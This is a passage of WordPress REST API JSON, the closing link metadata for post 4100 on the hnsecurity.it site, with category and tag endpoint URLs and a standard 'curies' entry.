\/v2\/categories?post=4100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=4100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}